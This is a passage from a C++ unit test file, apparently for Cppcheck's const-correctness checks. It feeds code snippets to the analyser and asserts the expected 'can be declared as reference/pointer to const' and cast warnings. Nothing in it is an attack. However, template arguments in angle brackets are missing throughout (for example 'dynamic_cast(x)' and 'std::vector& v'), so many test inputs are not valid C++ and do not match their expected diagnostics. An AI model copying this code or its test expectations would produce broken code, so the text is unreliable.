as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", 